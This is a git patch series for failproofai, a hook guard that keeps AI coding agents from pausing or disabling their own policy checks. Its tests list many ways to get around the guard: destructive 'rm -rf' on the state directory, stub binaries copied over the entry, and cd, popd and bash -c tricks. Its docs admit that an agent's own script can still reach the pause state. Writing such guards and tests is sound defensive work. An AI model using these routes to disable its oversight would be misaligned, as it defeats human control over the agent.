script does when it runs, so a script the agent writes and then runs can still reach the same state. A pause file is checked for a bounded expiry and a start that is not in the future, not for who wrote it. +Local pauses suspend builtin, custom, convention, and pack policies for one session. They always expire, at most 8 hours after the first pause in a run, and they do not disable Cloud-managed policies or `block-failproofai-commands`, which is always on and cannot itself be disabled or paused. That guard refuses the direct ways an instrumented agent could pause itself: running `failproofai config --pause`, or writing the pause file under `~/.failproofai/state/sessions/`. It reads commands, not what a script does when it runs, so a script the agent writes and then runs can still reach the same state. A pause file is checked for a bounded expiry and a start no more than a minute in the future, not for who wrote it. ## Policy flags diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 9c13eef60..1fd879c86 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -836,6 +836,7 @@ const STATE_GLOB_CANDIDATES = [ "node_modules/failproofai", "./node_modules/failproofai", "node_modules/.pnpm/failproofai@1.0.0", + "./node_modules/.pnpm/failproofai@1.0.0", "/usr/local/lib/node_modules/failproofai", "/usr/lib/node_modules/failproofai", "/opt/homebrew/lib/node_modules/failproofai", @@ -863,6 +864,7 @@ const GLOB_DECOYS = [ // Neighbours of the installed-code candidates, so `rm -rf node_modules/*` and // its global equivalents are read as the sweeps they are. "node_modules/react", "node_modules/.bin", "./node_modules/react", "node_modules/.pnpm/react@18.0.0", + "./node_modules/.pnpm/react@18.0.0", "/usr/local/lib/node_modules/npm", "/usr/lib/node_modules/npm", "/opt/homebrew/lib/node_modules/npm", "/usr/local/bin/node", "/opt/homebrew/bin/node", "~/.bun/bin/bun", "~/.volta/bin/node", ]; From 9b3f34ab71422a85a453bd0b869667e2bf1dbf12 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 18:26:15 +0530 Subject: [PATCH 22/89] [hooks] Fix CI (unused commandWords); follow popd on an empty stack and unresolvable cd (#1795) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - quality/build failed on TS6133: the walk calls commandWordLists directly, so the commandWords wrapper is gone (its doc moves to commandWordLists). - A popd, bare pushd or cd - with nothing to return to fails in a shell and leaves it where it was; the walk had forgotten the directory instead, so `cd node_modules/.bin; popd; cp … failproofai` passed (found with #1053's session). Subshell scopes also restore the pushd stack and previous dir. - A cd the walk cannot follow (`$(…)`, backticks, a variable the line does not set) marks the directory lost: a relative word is then also judged as if it stood in node_modules/.bin, node_modules or a bin directory, so `cd "$(npm root)/.bin" && cp … failproofai` is refused while ordinary names after `cd "$(git rev-parse --show-toplevel)"` are not affected. A substitution's parentheses no longer count as a subshell, $HOME is ~. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 14 ++ src/hooks/builtin-policies.ts | 153 ++++++++++++++------ 2 files changed, 124 insertions(+), 43 deletions(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 750dd32c8..95095934a 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -299,6 +299,15 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a glob of sources into the directory", "cp /tmp/stage/* node_modules/.bin/"], ["a glob of sources after -t", "cp -t node_modules/.bin /tmp/stage/*"], ["an abbreviated --recursive", "cp --rec /tmp/stage ~/node_modules/.bin"], + // A `popd` with nothing to return to fails and leaves the shell there. + ["a popd on an empty stack", "cd node_modules/.bin; popd; cp /tmp/stub.sh failproofai"], + ["$HOME spelled out", "cd $HOME/node_modules/.bin && cp /tmp/stub.sh failproofai"], + // A `cd` the walk cannot follow may land in npm's bin directory. + ["a cd into a command substitution", 'cd "$(npm root)/.bin" && cp /tmp/stub.sh failproofai'], + ["a redirect after a cd into a substitution", "cd $(npm root)/.bin && printf 'exit 0' > failproofai"], + ["a cd into backticks", "cd `npm root`/.bin && cp /tmp/stub.sh failproofai"], + ["a cd into a variable the line does not set", "cd $NODE_BIN && cp /tmp/stub.sh failproofai"], + ["a copy into . after a cd the walk cannot follow", 'cd "$(npm root)/.bin" && cp /tmp/stage/failproofai .'], ])("denies %s", async (_label, command) => { expect(await bash(command)).toBe("deny"); }); @@ -362,6 +371,11 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a loop copying files out", "for f in *.txt; do cp $f /tmp/; done"], ["a cd and a build", "cd packages/api && npm run build"], ["clearing a scratch directory", "cd /tmp && rm -rf *"], + // A `cd` the walk cannot follow changes nothing for ordinary names. + ["tests from the repository root", 'cd "$(git rev-parse --show-toplevel)" && npm test'], + ["a cleanup from the repository root", 'cd "$(git rev-parse --show-toplevel)" && rm -rf dist *.log'], + ["a note in a temporary directory", 'cd "$(mktemp -d)" && echo hi > notes.txt'], + ["a listing of home", "cd $HOME && ls -la"], ])("allows %s", async (_label, command) => { expect(await bash(command)).not.toBe("deny"); }); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index c578addfa..07bd61072 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1363,25 +1363,18 @@ function commandBasename(token: string): string { return bare.slice(bare.lastIndexOf("/") + 1); } -/** - * Walk off everything a shell resolves before it settles on the command word, - * and return the tokens from the command word on. Mirrors the walk in - * `classifySelfInvocation` — the same prefixes hide a deleter that hid the - * binary, and `xargs -0 rm -f` is the one that matters most here. - */ -function commandWords(simpleCommand: string): string[] { - return commandWordLists(simpleCommand).words; -} - /** A redirect operator, with an optional fd (`2>`, `{fd}>`), and the same alone. */ const REDIRECT_OPERATOR_RE = /^(?:\d*|\{[A-Za-z_]\w*\})(?:>{1,2}\|?|<{1,3})/; const LONE_REDIRECT_OPERATOR_RE = /^(?:\d*|\{[A-Za-z_]\w*\})(?:>{1,2}\|?|<{1,3})$/; /** - * `commandWords`, and the same words with redirects and a comment taken out - * after the command word. + * Walk off everything a shell resolves before it settles on the command word, + * and return the tokens from the command word on (`words`). Mirrors the walk in + * `classifySelfInvocation` — the same prefixes hide a deleter that hid the + * binary, and `xargs -0 rm -f` is the one that matters most here. * - * The copy checks take the LAST operand for the destination, so a redirect or + * `trimmed` is the same words with redirects and a comment taken out after the + * command word. The copy checks take the LAST operand for the destination, so a redirect or * comment after it became the destination they judged: * `cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null` and * `… node_modules/.bin/failproofai # keep` both walked through. But a token is @@ -1446,12 +1439,15 @@ function commandWordLists(simpleCommand: string): { words: string[]; trimmed: st * backup; `cp /tmp/bin/failproofai node_modules/.bin/` is not, however its * source is spelled. A source ending in a separator copies what is IN it, whose * names are not on the line, so it is judged only through the bin-directory - * check. `inShell` resolves a relative word against a `cd` the walk followed. + * check. `inShell` resolves a relative word against a `cd` the walk followed; + * `lost` says the walk could not follow one, so a relative destination may be + * npm's bin directory and the entry's own name there is refused. */ function landsInDirectoryAs( words: string[], namesState: (text: string) => boolean, inShell: (word: string) => string = (word) => word, + lost = false, ): boolean { if (words.length === 0) return false; const head = commandBasename(words[0]); @@ -1513,6 +1509,8 @@ function landsInDirectoryAs( if (written === undefined || sources.length === 0) return false; const destination = inShell(written); if (directory === undefined && namesState(destination)) return true; + const baseName = (path: string) => path.slice(Math.max(path.lastIndexOf("/"), path.lastIndexOf("\\")) + 1); + if (lost && directory === undefined && relativeWord(written) && couldBeEntryName(baseName(written))) return true; const into = destination.replace(/(?:[\\/]+\.?)+$/, ""); // A directory becomes npm's bin directory when it is moved, linked or copied @@ -1527,8 +1525,9 @@ function landsInDirectoryAs( if (into === "" || ontoItself) return false; return sources.some((source) => { if (/[\\/]$/.test(source)) return false; - const name = source.slice(Math.max(source.lastIndexOf("/"), source.lastIndexOf("\\")) + 1); + const name = baseName(source); if (name === "" || name === "." || name === "..") return false; + if (lost && relativeWord(into) && couldBeEntryName(name)) return true; const landing = `${into}/${name}`; // A directory named `.bin` landing in a `node_modules` is the same swap. if (NPM_BIN_DIRECTORY_RE.test(landing) && (head === "mv" || head === "ln" || recursive)) return true; @@ -1751,42 +1750,52 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // with `.` and `..` resolved, because the patterns match the tail of a path // and an unbounded path made every later word slower to judge. let shellDir = startDir ? shellPath(undefined, startDir) : undefined; - let previousDir: string | undefined; - const dirStack: Array = []; - const shellDirScopes: Array<{ depth: number; dir: string | undefined }> = []; - const isRelative = (word: string) => word !== "" && !/^(?:[~/\\$]|[A-Za-z]:)/.test(word); + // A `cd` the walk could not follow (`cd "$(npm root)/.bin"`, `cd $ELSEWHERE`) + // may have put the shell in npm's bin directory, so until the next one it can + // follow, a relative word is also judged as if it stood in an installed + // location (`AS_IF_INSTALLED`). + let lostTrack = false; + type Where = { dir: string | undefined; lost: boolean }; + let previous: Where | null = null; + const dirStack: Where[] = []; + const shellDirScopes: Array<{ depth: number; at: Where; previous: Where | null; stack: Where[] }> = []; // A relative word read from where the shell stands, and `..` resolved in any. const inShell = (word: string): string => - isRelative(word) && shellDir !== undefined ? shellPath(shellDir, word) : word.includes("..") ? shellPath(undefined, word) : word; + relativeWord(word) && shellDir !== undefined ? shellPath(shellDir, word) : word.includes("..") ? shellPath(undefined, word) : word; const judged = new Map(); + const judge = (path: string): boolean => { + let verdict = judged.get(path); + if (verdict === undefined) judged.set(path, (verdict = namesState(path))); + return verdict; + }; const namesHere = (text: string): boolean => { if (namesState(text)) return true; // Every pattern spells `failproof`, so only a word or a directory that // does, or a glob that could, can resolve onto one. if (!/failproof/i.test(text) && !/failproof/i.test(shellDir ?? "") && !GLOB_METACHAR_RE.test(text)) return false; + if (lostTrack && relativeWord(text)) return AS_IF_INSTALLED.some((dir) => judge(dir + text)); const resolved = inShell(text); - if (resolved === text) return false; - let verdict = judged.get(resolved); - if (verdict === undefined) judged.set(resolved, (verdict = namesState(resolved))); - return verdict; + return resolved !== text && judge(resolved); }; // What the line assigns, so a word built from it is judged as the path it // spells: `B=~/node_modules/.bin; ln -s /tmp/stage $B`. `$PWD` is where the - // shell stands. A variable the line never sets stays a reference. + // shell stands, `$HOME` is `~`. A variable the line never sets stays a + // reference, and a `cd` into one is a `cd` the walk cannot follow. const values = new Map(assignments); const expand = (word: string): string => { let out = word; for (let pass = 0; pass < 3 && out.includes("$"); pass++) { out = out.replace(VAR_REFERENCE_RE, (reference, name: string) => - name === "PWD" && shellDir !== undefined ? shellDir : values.get(name) ?? reference, + name === "PWD" && shellDir !== undefined ? shellDir : values.get(name) ?? (name === "HOME" ? "~" : reference), ); } return out; }; - const moveTo = (dir: string | undefined) => { - previousDir = shellDir; - shellDir = dir; - cwdInState = dir !== undefined && namesState(dir); + const moveTo = (to: Where) => { + previous = { dir: shellDir, lost: lostTrack }; + shellDir = to.dir; + lostTrack = to.lost; + cwdInState = !to.lost && to.dir !== undefined && namesState(to.dir); cdParenDepth = cwdInState ? parenDepth : null; }; @@ -1813,8 +1822,9 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) } for (const simple of simpleCommands) { - // Parentheses inside quotes open and close nothing. - const shellText = simple.replace(/'[^']*'|"(?:[^"\\]|\\.)*"/g, ""); + // Parentheses inside quotes open and close nothing, and a substitution's + // are not a subshell: `cd $(npm root)/.bin` moves this shell. + const shellText = withoutSubstitutions(simple.replace(/'[^']*'|"(?:[^"\\]|\\.)*"/g, "")); parenDepth += (shellText.match(/\(/g) ?? []).length; const lists = Object.values(commandWordLists(simple)).map((list) => list.map(expand)); const words = lists[0]; @@ -1822,22 +1832,36 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // Track the shell's position before judging: a `cd` INTO the state makes // every later relative path a state path, and a `cd` back out ends that. if (head === "cd" || head === "pushd" || head === "popd") { - if (parenDepth > 0) shellDirScopes.push({ depth: parenDepth, dir: shellDir }); + if (parenDepth > 0) { + shellDirScopes.push({ depth: parenDepth, at: { dir: shellDir, lost: lostTrack }, previous, stack: dirStack.slice() }); + } + const at: Where = { dir: shellDir, lost: lostTrack }; const operand = words.slice(1).find((w) => !w.startsWith("-") || w === "-"); + // A `popd`, a bare `pushd` or a `cd -` with nothing to return to fails + // and leaves the shell where it was. if (head === "popd") { - // `popd` returns to wherever the shell was before the `pushd`. - moveTo(dirStack.length > 0 ? dirStack.pop() : undefined); + const top = dirStack.pop(); + if (top) moveTo(top); } else if (head === "pushd" && operand === undefined) { // A bare `pushd` swaps the top two directories. const top = dirStack.pop(); - dirStack.push(shellDir); - moveTo(top); + if (top) { + dirStack.push(at); + moveTo(top); + } + } else if (operand === "-") { + if (previous) moveTo(previous); } else { - if (head === "pushd") dirStack.push(shellDir); - // No operand is home, and `cd -` is wherever the shell was before. - moveTo(operand === undefined ? "~" : operand === "-" ? previousDir : shellPath(isRelative(operand) ? shellDir : undefined, operand)); + if (head === "pushd") dirStack.push(at); + // No operand is home. + const target = operand ?? "~"; + moveTo( + /\$|`/.test(target) + ? { dir: undefined, lost: true } + : { dir: shellPath(relativeWord(target) && !lostTrack ? shellDir : undefined, target), lost: lostTrack && relativeWord(target) }, + ); } - } else if (lists.some((list) => landsInDirectoryAs(list, namesState, inShell))) { + } else if (lists.some((list) => landsInDirectoryAs(list, namesState, inShell, lostTrack))) { // Before the `reachesState` gate, because the point is that nothing on // the line names the path: the source's name and the directory do. return true; @@ -1850,13 +1874,17 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // still runs inside the subshell it closes. return true; } - parenDepth -= (shellText.match(/\)/g) ?? []).length; + parenDepth = Math.max(0, parenDepth - (shellText.match(/\)/g) ?? []).length); if (cdParenDepth !== null && parenDepth < cdParenDepth) { cwdInState = false; cdParenDepth = null; } while (shellDirScopes.length > 0 && parenDepth < shellDirScopes[shellDirScopes.length - 1].depth) { - shellDir = shellDirScopes.pop()!.dir; + const scope = shellDirScopes.pop()!; + shellDir = scope.at.dir; + lostTrack = scope.at.lost; + previous = scope.previous; + dirStack.splice(0, dirStack.length, ...scope.stack); } } } @@ -1866,6 +1894,45 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) /** How much of the shell's directory the walk keeps; see `shellPath`. */ const SHELL_DIR_SEGMENTS = 16; +/** + * Where a relative word is also read once the walk has lost the shell's + * directory: the places an installed failproofai entry or package lives. Only + * a word that names one there can match, so an ordinary file is unaffected. + */ +const AS_IF_INSTALLED = ["node_modules/.bin/", "node_modules/", "/bin/"]; + +/** + * `text` without its `$(…)` command substitutions, so their parentheses are + * not counted as a subshell's. One left open runs to the end of the text. + */ +function withoutSubstitutions(text: string): string { + let out = ""; + for (let i = 0; i < text.length; i++) { + if (text[i] === "$" && text[i + 1] === "(") { + let depth = 0; + let j = i + 1; + for (; j < text.length; j++) { + if (text[j] === "(") depth++; + else if (text[j] === ")" && --depth === 0) break; + } + i = j; + continue; + } + out += text[i]; + } + return out; +} + +/** A word a shell reads from its current directory: not `~`, `/`, `$…` or `C:`. */ +function relativeWord(word: string): boolean { + return word !== "" && !/^(?:[~/\\$]|[A-Za-z]:)/.test(word); +} + +/** The entry's own name, a Windows shim of it, or a glob that could be either. */ +function couldBeEntryName(name: string): boolean { + return /^failproofai(?:\.(?:cmd|ps1|exe|bunx))?$/i.test(name) || (GLOB_METACHAR_RE.test(name) && globCouldBeEntry(name)); +} + /** * `word` read from directory `base` (as given when absolute, or with no base), * with `.` and `..` resolved as text, the way a shell's logical `cd` does, and From b962880a1aaa2e7381029efdb1b812830e5cfb56 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 18:31:10 +0530 Subject: [PATCH 23/89] [hooks] Keep a line of heredocs linear; null means no managed settings (#1794) - CI on c50991c7: "stays fast on thousands of heredocs on one line" took 3.6-4.9 s against its 3 s bound. Not new in that commit (efccfea3 takes as long on the same machine; it had passed CI by a margin), but quadratic all the same: for every heredoc the lexer copied the rest of its line's commands and scanned them for an interpreter. Both are now read once per line, from the end. 8000 heredocs on one line: 3.9 s -> 0.24 s. - claudeSettingsLayersByPrecedence(..., undefined) took the parameter's default, the host's managed file, so the layer-order test saw five layers. "No managed file" is now null. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/claude-hooks-switch.test.ts | 2 +- src/hooks/builtin-policies.ts | 21 +++++++++++++++------ src/hooks/claude-hooks-switch.ts | 3 ++- src/hooks/config-status.ts | 2 +- 4 files changed, 19 insertions(+), 9 deletions(-) diff --git a/__tests__/hooks/claude-hooks-switch.test.ts b/__tests__/hooks/claude-hooks-switch.test.ts index 433231d9f..67080202e 100644 --- a/__tests__/hooks/claude-hooks-switch.test.ts +++ b/__tests__/hooks/claude-hooks-switch.test.ts @@ -64,7 +64,7 @@ describe("claudeHooksSwitchedOffBy — Claude Code's precedence", () => { it("orders the layers managed, local, project, user", () => { expect(claudeSettingsLayersByPrecedence({ user: "u", project: "p", local: "l" }, "/m.json")).toEqual(["/m.json", "l", "p", "u"]); - expect(claudeSettingsLayersByPrecedence({ user: "u", project: "p", local: ["l1", "l2"] }, undefined)).toEqual(["l1", "l2", "p", "u"]); + expect(claudeSettingsLayersByPrecedence({ user: "u", project: "p", local: ["l1", "l2"] }, null)).toEqual(["l1", "l2", "p", "u"]); }); it("reads the managed file where Claude Code keeps it, Windows included", () => { diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 1562750c0..275021966 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1820,12 +1820,13 @@ function heredocWritesFile(command: LexEndedCommand): string | null { function heredocIsStoredText( doc: PendingHeredoc, own: LexEndedCommand, - downstream: LexEndedCommand[], + /** How many commands follow `own` on its line, and the first of them. */ + downstream: { count: number; next: LexEndedCommand | undefined }, later: { runsText: boolean; names: { has(name: string): boolean } }, substitutionBody: boolean, ): boolean { if (later.runsText) return false; - if (downstream.length === 0) { + if (downstream.count === 0) { if (catReadsOnlyStdin(own)) { // Inside a substitution whose text the outer command stores; or a body // being judged on its own (depth 1), whose outer command was judged with it. @@ -1840,9 +1841,10 @@ function heredocIsStoredText( return false; } return ( - downstream.length === 1 && + downstream.count === 1 && + downstream.next !== undefined && catReadsOnlyStdin(own) && - (gitTakesMessageFromStdin(downstream[0]) || ghTakesBodyFromStdin(downstream[0])) + (gitTakesMessageFromStdin(downstream.next) || ghTakesBodyFromStdin(downstream.next)) ); } @@ -2026,11 +2028,18 @@ function lexShell(text: string, substitutionBody = false): ShellLex { // looked up rather than read: reading the rest of the text again for each // line of heredocs made a script of them quadratic. const later = { runsText: runsTextFrom(pos), names: { has: (name: string) => namedFrom(name, pos) } }; + // Whether an interpreter runs at or after each command of the line, read + // once from the end. Copying and scanning the rest of the line for every + // heredoc made a line of thousands of them quadratic. + const interpreterFrom = new Array(lineCommands.length + 1).fill(false); + for (let k = lineCommands.length - 1; k >= 0; k--) { + interpreterFrom[k] = interpreterFrom[k + 1] || isInterpreterHead(lineCommands[k].head); + } for (const { doc, start, end } of spans) { const own = lineCommands[doc.commandIndex] ?? { head: null, words: [] }; - const downstream = lineCommands.slice(doc.commandIndex + 1); + const downstream = { count: Math.max(0, lineCommands.length - doc.commandIndex - 1), next: lineCommands[doc.commandIndex + 1] }; if (heredocIsStoredText(doc, own, downstream, later, substitutionBody)) blankStored(start, end, doc.literal); - else if (isInterpreterHead(own.head) || downstream.some((command) => isInterpreterHead(command.head))) { + else if (isInterpreterHead(own.head) || interpreterFrom[doc.commandIndex + 1] === true) { programBodies.push(text.slice(start, end)); } } diff --git a/src/hooks/claude-hooks-switch.ts b/src/hooks/claude-hooks-switch.ts index c0b2f277a..3b7baf309 100644 --- a/src/hooks/claude-hooks-switch.ts +++ b/src/hooks/claude-hooks-switch.ts @@ -29,7 +29,8 @@ export const CLAUDE_MANAGED_SETTINGS_PATHS: Readonly claudeCode.hooksInstalledInSettings(scope, cwd)); if (!installed) return null; From 658c5dd75b590a77ce3496407afc12f9e4bf1ce9 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 18:49:31 +0530 Subject: [PATCH 24/89] [hooks] Address third review: quote-aware words, cd as bash runs it, faster (#1795) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A third independent review of 2baab1c8 found five bypasses it introduced, false positives, and two slowdowns; all reproduced, all covered by tests (201 cases pass; state-guard 124 and guard-installed-code 72 pass). - Words are split the way a shell splits them (shellWords): a quoted `#` or `>` is an argument, an unquoted one a comment or a redirect, so one word list is right both ways and the two-list union is gone. That fixes the cut-off words and the reads it misjudged (`uniq -c < `, `… # not -delete yet`, a comment line). A quoted program in command position (`bash -c '…'`) is split into its own words. - Directories are normalised (`//`, `.`, `..`) before they are cut to their tail, and cwdInState is decided on the whole path, so padding a cd with slashes no longer hides the state. The cd operand skips redirects. - cd/pushd/popd as bash runs them: a failed move keeps the directory, `+N`/`-N` rotate the stack, `cd -` and a bare `cd` honour OLDPWD/HOME the line sets, `~-`/`~+` expand, escaped parentheses open nothing, a subshell's exit restores the in-state flag, and a cd into a substitution that names the state counts as being in it. - Each word is judged as written and as expanded (`: D=x` cannot hide D). - Exact option names win over abbreviations, from each command's full --help list (`rsync --partial` no longer swallows the source). - Globs: `//`, `/./` and `..` normalised first; a one-segment stretch is tried when it starts with a literal `.` (`/var/lib/jenkins/.failproof*`), with `.openai` as a decoy so `sed 's/.*ai/X/'` stays allowed. - Options and the command word are never read as paths from the session directory. Expansion is capped; glob checks are memoised per token, and a relative glob is resolved only from a directory a candidate continues from. Ten 12-group brace words: 2.7 s down to about 0.7 s (#1050: 0.68 s). Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 51 ++- src/hooks/builtin-policies.ts | 457 +++++++++++++++----- 2 files changed, 387 insertions(+), 121 deletions(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 95095934a..626e0961f 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -251,6 +251,12 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["an absolute path", "cp /tmp/stub.sh /work/proj/node_modules/.bin/fail*"], // `/home/u/.failproofai` is a candidate itself; another home is not. ["the state, by an absolute path", "rm -rf /home/alice/.failproof*"], + ["the state, behind `//` and `/./`", "rm -rf ~//./.failproof*"], + // A home no candidate spells. A dotfile glob that can match + // `.failproofai` counts wherever it stands, as the name itself does: + // `rm -rf ~/.cache/.f*` is refused for the same reason. + ["the state, in a home outside /home", "rm -rf /var/lib/jenkins/.failproof*"], + ["the state's name in another directory", "rm -rf ~/.cache/.f*"], ])("denies a glob onto the entry through %s", async (_label, command) => { expect(await bash(command)).toBe("deny"); }); @@ -312,6 +318,36 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect(await bash(command)).toBe("deny"); }); + // Shell moves the walk follows as bash makes them, so that none of them + // leaves the walk somewhere safer than the shell really is. + it.each([ + ["slashes after the directory", "cd ~/.failproofai//////////////////// && rm -rf *"], + ["slashes after npm's bin directory", "cd node_modules/.bin//////////////////// && printf 'exit 0' > failproofai"], + ["a redirect before the cd operand", "cd 2>/dev/null ~/.failproofai && rm -rf *"], + ["a popd with nothing to pop", "cd ~/.failproofai; popd; rm -rf *"], + ['cd ""', 'cd ~/.failproofai; cd ""; rm -rf *'], + ["cd - to an OLDPWD the line sets", "OLDPWD=~/.failproofai; cd -; rm -rf *"], + ["~- after a cd away", "cd ~/.failproofai && cd /tmp && rm -rf ~-/*"], + ["a bare cd to a HOME the line sets", "HOME=~/.failproofai; cd; rm -rf *"], + ["pushd +1 back onto the directory", "cd ~/.failproofai && pushd /tmp && pushd +1 && rm -rf *"], + ["a subshell's cd undone", "cd ~/.failproofai && (cd /tmp) && rm -rf *"], + ["an escaped parenthesis in a subshell", "cd ~/.failproofai && (echo \\) && cd /tmp) && rm -rf *"], + ["a cd into a substitution that names the state", 'cd "$(echo ~/.failproofai)" && rm -rf *'], + // An assignment the shell never makes (`:` is a no-op) cannot replace + // the value the walk judges: the word is judged as written too. + ["a decoy assignment before a copy", "D=~/.failproofai/policies-config.json; : D=x; cp /dev/null $D"], + ["a decoy assignment before a redirect", "D=~/.failproofai/policies-config.json; : D=x; echo {} > $D"], + // A complete option name is not an abbreviation of a longer one. + ["rsync --partial", "rsync --partial /tmp/stage/failproofai node_modules/.bin/"], + ["rsync --checksum", "rsync --checksum /tmp/stage/failproofai node_modules/.bin/"], + ["rsync -a --compress of a directory's contents", "rsync -a --compress /tmp/stage/ node_modules/.bin/"], + ["install --strip", "install --strip /tmp/stage/failproofai node_modules/.bin/"], + // A program handed to a shell is judged as the command it is. + ["bash -c around a copy", "bash -c 'cp /tmp/stub.sh node_modules/.bin/failproofai'"], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + // The session's directory is where the command starts: a `cd` in an // earlier call persists. it.each([ @@ -365,7 +401,6 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a glob ending in ai", "rm -rf models/*ai"], ["a glob ending in i", "rm -f out/*i"], ["a glob around proof", "rm -rf vendor/*proof*"], - ["a dotfile glob in a cache", "rm -rf ~/.cache/.f*"], ["a sed program that looks like a glob", "sed -i 's/.*ai/X/' notes.txt"], ["a commit message with a #", "git commit -m 'fix #12: cp a b'"], ["a loop copying files out", "for f in *.txt; do cp $f /tmp/; done"], @@ -376,6 +411,13 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a cleanup from the repository root", 'cd "$(git rev-parse --show-toplevel)" && rm -rf dist *.log'], ["a note in a temporary directory", 'cd "$(mktemp -d)" && echo hi > notes.txt'], ["a listing of home", "cd $HOME && ls -la"], + // Redirects and comments are not operands, and a comment line runs nothing. + ["a comment line that names the state", "# Look at ~/.failproofai\nls -la ~/.failproofai"], + ["reading the state through an input redirect", "uniq -c < ~/.failproofai/x.log | sort -rn"], + ["tee fed from the state", "tee -a /tmp/x < ~/.failproofai/policies-config.json"], + ["a backup with a comment naming the state", "cp -r ~/.failproofai /tmp/bak # copy of ~/.failproofai"], + ["a find whose comment names -delete", "find ~/.failproofai -name '*.log' -print # not -delete yet"], + ["a read run through bash -c", "bash -c 'cat ~/.failproofai/policies-config.json'"], ])("allows %s", async (_label, command) => { expect(await bash(command)).not.toBe("deny"); }); @@ -385,6 +427,11 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a checkout of failproofai itself", "/home/u/src/failproofai", "rm -rf dist"], ["node_modules/.bin", "/work/proj/node_modules/.bin", "cp README.md /tmp/"], ["node_modules/.bin", "/work/proj/node_modules/.bin", "./vitest run"], + // The command word is a program, not a path written to, and an option + // is not a path: neither is read from the directory. + ["failproofai's own state", "/home/u/.failproofai/logs", "date"], + ["failproofai's own state", "/home/u/.failproofai/logs", "uname -a"], + ["an installed package", "/home/u/proj/node_modules/failproofai/dist", "uname -a"], ])("allows ordinary work from %s", async (_label, cwd, command) => { expect(await bashIn(cwd, command)).not.toBe("deny"); }); @@ -397,6 +444,8 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["2,000 relative cds", Array(2000).fill("cd a").join(" && ") + " && ls"], ["1,000 cds into globs", Array(1000).fill("cd a*").join(" && ") + " && ls"], ["a 2,000-segment glob", "rm -rf " + Array(2000).fill("*").join("/")], + // A value that refers to itself grew with every expansion pass. + ["a self-referring variable", "A=" + "$A".repeat(100) + "; echo $A"], ])("judges %s in bounded time", async (_label, command) => { const started = performance.now(); await bash(command); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 07bd61072..1408fb607 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -708,26 +708,90 @@ const COPY_COMMANDS = new Set(["cp", "rsync", "install"]); * installs `agentd`. `t` is the target directory for all but rsync, where it * is `--times`. */ -const INTO_DIRECTORY_OPTIONS: Record = { - cp: { short: "St", long: ["suffix", "target-directory", "sparse", "no-preserve"] }, - mv: { short: "St", long: ["suffix", "target-directory"] }, - ln: { short: "St", long: ["suffix", "target-directory"] }, - install: { short: "mogSt", long: ["mode", "owner", "group", "suffix", "target-directory", "strip-program"] }, - // From `rsync --help` (3.4.1): every option documented with `=VALUE`. +const INTO_DIRECTORY_OPTIONS: Record = { + // From each command's `--help` (GNU coreutils 9, rsync 3.4.1): `values` take + // one, `flags` take none or only an `=VALUE` glued on. + cp: { + short: "St", + values: ["no-preserve", "sparse", "suffix", "target-directory"], + flags: [ + "archive", "attributes-only", "backup", "context", "copy-contents", "debug", "dereference", "force", "help", + "interactive", "keep-directory-symlink", "link", "no-clobber", "no-dereference", "no-target-directory", + "one-file-system", "parents", "preserve", "recursive", "reflink", "remove-destination", + "strip-trailing-slashes", "symbolic-link", "update", "verbose", "version", + ], + }, + mv: { + short: "St", + values: ["suffix", "target-directory"], + flags: [ + "backup", "context", "debug", "exchange", "force", "help", "interactive", "no-clobber", "no-copy", + "no-target-directory", "strip-trailing-slashes", "update", "verbose", "version", + ], + }, + ln: { + short: "St", + values: ["suffix", "target-directory"], + flags: [ + "backup", "force", "help", "interactive", "logical", "no-dereference", "no-target-directory", "physical", + "relative", "symbolic", "verbose", "version", + ], + }, + install: { + short: "mogSt", + values: ["group", "mode", "owner", "strip-program", "suffix", "target-directory"], + flags: [ + "backup", "compare", "context", "directory", "help", "no-target-directory", "preserve-context", + "preserve-timestamps", "strip", "unprivileged", "verbose", "version", + ], + }, rsync: { short: "@BefMT", - long: [ - "address", "backup-dir", "block-size", "bwlimit", "checksum-choice", "checksum-seed", "chmod", "chown", + values: [ + "address", "backup-dir", "block-size", "bwlimit", "cc", "checksum-choice", "checksum-seed", "chmod", "chown", 